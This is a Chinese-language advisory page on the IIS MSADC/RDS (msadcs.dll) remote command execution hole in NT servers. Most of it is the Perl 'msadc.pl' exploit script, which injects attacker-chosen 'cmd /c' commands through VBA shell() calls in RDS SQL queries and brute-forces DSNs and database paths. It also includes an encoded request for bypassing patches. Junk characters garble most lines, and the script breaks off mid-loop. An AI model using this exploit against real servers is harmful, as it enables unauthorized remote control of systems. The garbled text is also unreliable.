IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
;NyX9&@ o6 FSSKM 涉及程序:
}d,iA FG Microsoft NT server
^,Paih
2 FfDe&/,/ 描述:
*AO^oBeY 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
sCX 8 r A/jNX@S 详细:
;ew3^i.du 如果你没有时间读详细内容的话,就删除:
C+iIvRYC c:\Program Files\Common Files\System\Msadc\msadcs.dll
:RJ=f 有关的安全问题就没有了。
sC8C><y
8P wobln 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
+1 K9R\ kc0YWW Q-: 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
SnMHk3(\ 关于利用ODBC远程漏洞的描述,请参看:
$1Lm=2;U ZfzUvN&! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R:=
%gl! g3p*OYf 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
e i L
; http://www.microsoft.com/security/bulletins/MS99-025faq.asp piZ0KA" `iX~cUQ 这里不再论述。
w8|38m MKad
5gD*< 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
A4}6hG# $'SWH+G /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$6BD6\@ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
"V|1w>s p Rt=5WZ rKlu+/G #将下面这段保存为txt文件,然后: "perl -x 文件名"
4M)
s xt! DS0|*Y #!perl
<2cl1Fb #
&cty&(2p # MSADC/RDS 'usage' (aka exploit) script
7XE |5G #
&_q&TEi # by rain.forest.puppy
'USol< #
gm**9]k ^{ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
oW:p6d # beta test and find errors!
L-7?: )qGw!^8 use Socket; use Getopt::Std;
67/&AiS? getopts("e:vd:h:XR", \%args);
'\I.P p'lL2n$E print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!,rp| , _K /e if (!defined $args{h} && !defined $args{R}) {
wnaT~r@U' print qq~
aS^
4dEJ Usage: msadc.pl -h <host> { -d <delay> -X -v }
"3kIQsD|j -h <host> = host you want to scan (ip or domain)
U5uO|\+) -d <seconds> = delay between calls, default 1 second
Mlr\#BO"9 -X = dump Index Server path table, if available
B~/:["zTh& -v = verbose
@M[t| -e = external dictionary file for step 5
(Rqn)<<2 7*bUy)UZ Or a -R will resume a command session
icq!^5BzL nLn3kMl4 ~; exit;}
b'
1%g}
oy I8}s: $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Tw:j}ERq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2}Ga if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
z1LN|+\} if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
`lAe2l^ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|sf&t if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
c/fU0cA@ 9,7IsT8 if (!defined $args{R}){ $ret = &has_msadc;
;^waUJ\Z
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3)jFv7LAU Te%2(w,B print "Please type the NT commandline you want to run (cmd /c assumed):\n"
:'*;>P
.( . "cmd /c ";
sdk%~RN0T $in=<STDIN>; chomp $in;
[TUy><Z $command="cmd /c " . $in ;
Hw 7 F iZe4{(p if (defined $args{R}) {&load; exit;}
9#K,@X5 j w+QXSa_D print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^_6.*Mvx &try_btcustmr;
sEpY&6* Eiqx1ZM print "\nStep 2: Trying to make our own DSN...";
OhC%5=a7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
]L/h,bVI1 "MH_hzbBF print "\nStep 3: Trying known DSNs...";
HAq &known_dsn;
E$B7E@(U [ML%u$- print "\nStep 4: Trying known .mdbs...";
oBfh1/<<a &known_mdb;
"bI'XaSv )%8 ;C]G; if (defined $args{e}){
c{YBCWA print "\nStep 5: Trying dictionary of DSN names...";
aRPpDSR?l &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
W(^R-&av FsZW, print "Sorry Charley...maybe next time?\n";
#G'Y2l exit;
qmNg Ez% ,(h:0L2v7d ##############################################################################
8ZY F% KI* erK
[d sub sendraw { # ripped and modded from whisker
y|sU-O2}Dl sleep($delay); # it's a DoS on the server! At least on mine...
U ?vG?{A my ($pstr)=@_;
PL;PId<9w socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[1pWg^ die("Socket problems\n");
`a$-"tW~j if(connect(S,pack "SnA4x8",2,80,$target)){
drr
W?U select(S); $|=1;
JQ-O=8] print $pstr; my @in=<S>;
s&T"/4 select(STDOUT); close(S);
yV;_ ]_EO return @in;
60
D0z } else { die("Can't connect...\n"); }}
$yd "bJK 74Fv9 ##############################################################################
Lye^G%{ JHF<vyt5< sub make_header { # make the HTTP request
\UBTNY, my $msadc=<<EOT
uBdS}U POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
_gAU`aO^ User-Agent: ACTIVEDATA
"
3ryp
A Host: $ip
uVnbOqR<X Content-Length: $clen
y5" b(nb Connection: Keep-Alive
dD%Sbb j2@19YXe@ ADCClientVersion:01.06
/Y NV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
@|3PV woQ UrO( --!ADM!ROX!YOUR!WORLD!
Ie12d@ Content-Type: application/x-varg
bFV+|0 Content-Length: $reqlen
Wq5 Nc @xKfqKoqg EOT
5somoV B ; $msadc=~s/\n/\r\n/g;
|wef [|@% return $msadc;}
|f9fq~'1e 2P&KU%D)0s ##############################################################################
J |$(O$hYy 2[^p6s[ sub make_req { # make the RDS request
:`Nh}Ka0 my ($switch, $p1, $p2)=@_;
3&39M& my $req=""; my $t1, $t2, $query, $dsn;
l1<]pdLTR dm;C @.ML if ($switch==1){ # this is the btcustmr.mdb query
,{tz%\,% $query="Select * from Customers where City=" . make_shell();
;|C[.0;kgv $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Sbf+;:D $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
UEm~5,>$0 xN^ngRg0 elsif ($switch==2){ # this is general make table query
?^y!}( $query="create table AZZ (B int, C varchar(10))";
|j?iD $dsn="$p1";}
M/!5r aPR0DZ@ elsif ($switch==3){ # this is general exploit table query
\=3fO( $query="select * from AZZ where C=" . make_shell();
_'CYS3-P3 $dsn="$p1";}
J5i$D0K[ C r A7lu' elsif ($switch==4){ # attempt to hork file info from index server
BQ[,(T`+R $query="select path from scope()";
(z8^^j[ $dsn="Provider=MSIDXS;";}
fga{b7 &]d-R elsif ($switch==5){ # bad query
Wciw6.@ $query="select";
2 q4dCbJ! $dsn="$p1";}
erhxZ|."P P~6QRm $t1= make_unicode($query);
(x+C=1, $t2= make_unicode($dsn);
h;s~I/e( $req = "\x02\x00\x03\x00";
Mk:k0,z $req.= "\x08\x00" . pack ("S1", length($t1));
^@"H(1Hxu/ $req.= "\x00\x00" . $t1 ;
MQ~OG9. $req.= "\x08\x00" . pack ("S1", length($t2));
} `X.^}oe $req.= "\x00\x00" . $t2 ;
~8rVf+bg3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
VG)Y$S8.> return $req;}
t<UtSkE1 3#d? ##############################################################################
'[T#d! T JDa=+\_ sub make_shell { # this makes the shell() statement
|._9;T-Yde return "'|shell(\"$command\")|'";}
cH==OM7&- KNI* : ##############################################################################
?3=D-Xrb ])v,zp"u sub make_unicode { # quick little function to convert to unicode
Y6&B%t<bo my ($in)=@_; my $out;
zi7>!#( for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,JLY
oE+ return $out;}
E#5$O2b# Rt%3\?rf ##############################################################################
E0SP @c>a sub rdo_success { # checks for RDO return success (this is kludge)
o ?9k{ my (@in) = @_; my $base=content_start(@in);
equ|v~@y if($in[$base]=~/multipart\/mixed/){
r[u@[ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Nt>wzPd) return 0;}
sKIpL(_I$ 7KB:wsz^ ##############################################################################
-5&|"YYjr{ {9/ayG[98 sub make_dsn { # this makes a DSN for us
U\<8}+x my @drives=("c","d","e","f");
K #f*LV5 print "\nMaking DSN: ";
z~Ec * foreach $drive (@drives) {
|aaoi4OJ print "$drive: ";
q#=}T~4j my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
T+$Af,~ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;|.~'': . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
)`4g, W $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
ZRD@8'1p return 0 if $2 eq "404"; # not found/doesn't exist
_QS +{
if($2 eq "200") {
@P$_2IU" foreach $line (@results) {
f^EDiG>b` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/d1
B-I } return 0;}
65@,FDg*i sF+mfoMtG ##############################################################################
>$%rs c}^ Os9;;^k sub verify_exists {
D>HX1LV my ($page)=@_;
qi ;X_\v my @results=sendraw("GET $page HTTP/1.0\n\n");
vvsQf% return $results[0];}
a4B#?p L,KK{o|Eq ##############################################################################
& rsNB:! qh40nqS;9 sub try_btcustmr {
vv9=g*"j my @drives=("c","d","e","f");
2X=
pu.;F my @dirs=("winnt","winnt35","winnt351","win","windows");
SccaX
P xM#+jI foreach $dir (@dirs) {
GD]yP.. print "$dir -> "; # fun status so you can see progress
'`+GC9VG foreach $drive (@drives) {
xUKn
print "$drive: "; # ditto
nc0!ag $reqlen=length( make_req(1,$drive,$dir) ) - 28;
C2Pw;iK_t $reqlenlen=length( "$reqlen" );
J7p'_\ $clen= 206 + $reqlenlen + $reqlen;
pOe"S j;3hQOl my @results=sendraw(make_header() . make_req(1,$drive,$dir));
RCgn\ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
R cz;|h8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
K]<49`MX t9!8Bh< ##############################################################################
*h H\H
`Dn"<-9: sub odbc_error {
O%Mi`\W@ my (@in)=@_; my $base;
(|*CVI; my $base = content_start(@in);
[1 ?
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
,[Bv\4Ah $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
I Ceb2R $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R
_c!
,y $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
NDmTxW#g return $in[$base+4].$in[$base+5].$in[$base+6];}
t/3t69 \x print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
YpGG^;M$ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"< c,I=A $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
UE-+P AW XBk+ ##############################################################################
/c>@^ S(c&XJR sub verbose {
3Dm`8Xt
my ($in)=@_;
7M#irCX return if !$verbose;
$v6`5;#u print STDOUT "\n$in\n";}
Q;'{~! = l1EI4Y9KG ##############################################################################
+ROwk YyF=u~l sub save {
`u *:wJsv my ($p1, $p2, $p3, $p4)=@_;
l-} );zH74 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
+TWk}#G print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y1FE +EX[ close OUT;}
LRuB&4r8 5i$iUDuT>( ##############################################################################
g~A~|di| ^O9_dP: sub load {
Kb/w+J
S my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8vuA`T!~G open(IN,"<rds.save") || die("Couldn't open rds.save\n");
j~'a %P @p=<IN>; close(IN);
qkg`4'rLg $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1
po.Cmx $target= inet_aton($ip) || die("inet_aton problems");
t}!Y}D print "Resuming to $ip ...";
{zri6P+s $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
pI>[^7 if($p[1]==1) {
?Tr]zxtd $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.}O _5b( $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
9k`}fk\M my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
_T{
"F if (rdo_success(@results)){print "Success!\n";}
IGtpL[. ;/ else { print "failed\n"; verbose(odbc_error(@results));}}
soTmKqj E elsif ($p[1]==3){
^`MGlI} if(run_query("$p[3]")){
f\{ynC2m print "Success!\n";} else { print "failed\n"; }}
3T|xUY)G4 elsif ($p[1]==4){
$YNW T\FE if(run_query($drvst . "$p[3]")){
Fr,qVYf print "Success!\n"; } else { print "failed\n"; }}
O\"k[V?.V exit;}
zo^34wW^ p1blPBlp ##############################################################################
|@+/R .l S]O0zv^} sub create_table {
$BPTk0Y my ($in)=@_;
@rV|7%u $reqlen=length( make_req(2,$in,"") ) - 28;
SdJGhU $reqlenlen=length( "$reqlen" );
9 :ubPqt $clen= 206 + $reqlenlen + $reqlen;
==?!z<I.d my @results=sendraw(make_header() . make_req(2,$in,""));
|BC/ERms return 1 if rdo_success(@results);
A0@E^bG my $temp= odbc_error(@results); verbose($temp);
(:spA5 return 1 if $temp=~/Table 'AZZ' already exists/;
G%RL8HU return 0;}
,8Yc@P_O &Se!AcvKF ##############################################################################
?4^8C4 +IM:jrT( sub known_dsn {
],3#[n[ m # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
C;EC4n+s my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$ncJc "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`>
:^c "banner", "banners", "ads", "ADCDemo", "ADCTest");
gpe/ dfyJ9 L2jjkyX] foreach $dSn (@dsns) {
t
5{Y' print ".";
a#k=!
W next if (!is_access("DSN=$dSn"));
gI/#7Cr if(create_table("DSN=$dSn")){
oQS_rv\Ber print "$dSn successful\n";
3R=R k if(run_query("DSN=$dSn")){
I=DvP;! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E;vF
:?| print "Something's borked. Use verbose next time\n";}}} print "\n";}
G""L1? +pefk+ ##############################################################################
vK10p)ZV 9bxBm sub is_access {
e-`=?tct my ($in)=@_;
Pcs62aE $reqlen=length( make_req(5,$in,"") ) - 28;
@N% /v* $reqlenlen=length( "$reqlen" );
dh~ cj5 $clen= 206 + $reqlenlen + $reqlen;
'PBuf:9lN my @results=sendraw(make_header() . make_req(5,$in,""));
z
K +C&X my $temp= odbc_error(@results);
%^?yI verbose($temp); return 1 if ($temp=~/Microsoft Access/);
jMP!/t
:w return 0;}
uYu/0fQD %!vgAH4 ##############################################################################
Cr a@ w~n7l97Pw sub run_query {
"7.
lsL5 my ($in)=@_;
z5k9|.hgw $reqlen=length( make_req(3,$in,"") ) - 28;
iem@K $reqlenlen=length( "$reqlen" );
0]._|Ubn6) $clen= 206 + $reqlenlen + $reqlen;
9eh9@~mU"l my @results=sendraw(make_header() . make_req(3,$in,""));
XeJ|Z)qZ return 1 if rdo_success(@results);
t'.oty= my $temp= odbc_error(@results); verbose($temp);
WYayr1 return 0;}
dTwZ-% 3SMb#ce*o ##############################################################################
itpljh A{QXzoWkg0 sub known_mdb {
]5_6m;g my @drives=("c","d","e","f","g");
%_>+K;< my @dirs=("winnt","winnt35","winnt351","win","windows");
S
Y7'S# my $dir, $drive, $mdb;
y. A]un1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
$UX^$gG pT;{05 # this is sparse, because I don't know of many
OZ9ud ]@\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
r@.3.Q "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
9cO
m$ "\\system32\\certmdb.mdb",
hHoc>S6^M "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
v6$ }saTX "4,Zox{^ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
KXtc4wra "\\cfusion\\cfapps\\forums\\forums_.mdb",
(oiF05n
h "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
$h()%C7s "\\cfusion\\cfapps\\security\\realm_.mdb",
p ^(gXzW "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z`9yGaTO "\\cfusion\\database\\cfexamples.mdb",
l|Z<pD "\\cfusion\\database\\cfsnippets.mdb",
y=H\Z/= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
B\ITXmd
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
@[vwqPOL "\\cfusion\\brighttiger\\database\\cleam.mdb",
>JWW2< "\\cfusion\\database\\smpolicy.mdb",
UojHlTg#bT "\\cfusion\\database\cypress.mdb",
f5droys9 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<.l$jW] "\\website\\cgi-win\\dbsample.mdb",
GY[+HgT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Z
^w5x : "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xwm-)~L4T ); #these are just
HfN:oww foreach $drive (@drives) {
"\:ZH[j foreach $dir (@dirs){
Y unY'xY foreach $mdb (@sysmdbs) {
-T 5$l print ".";
rP=!!fC1; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#SR"Q`P print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
'~Z#h P if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
FX6*` print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
=q4QBAW } else { print "Something's borked. Use verbose next time\n"; }}}}}
vA(')"DDT kV mJG# foreach $drive (@drives) {
1q&gTv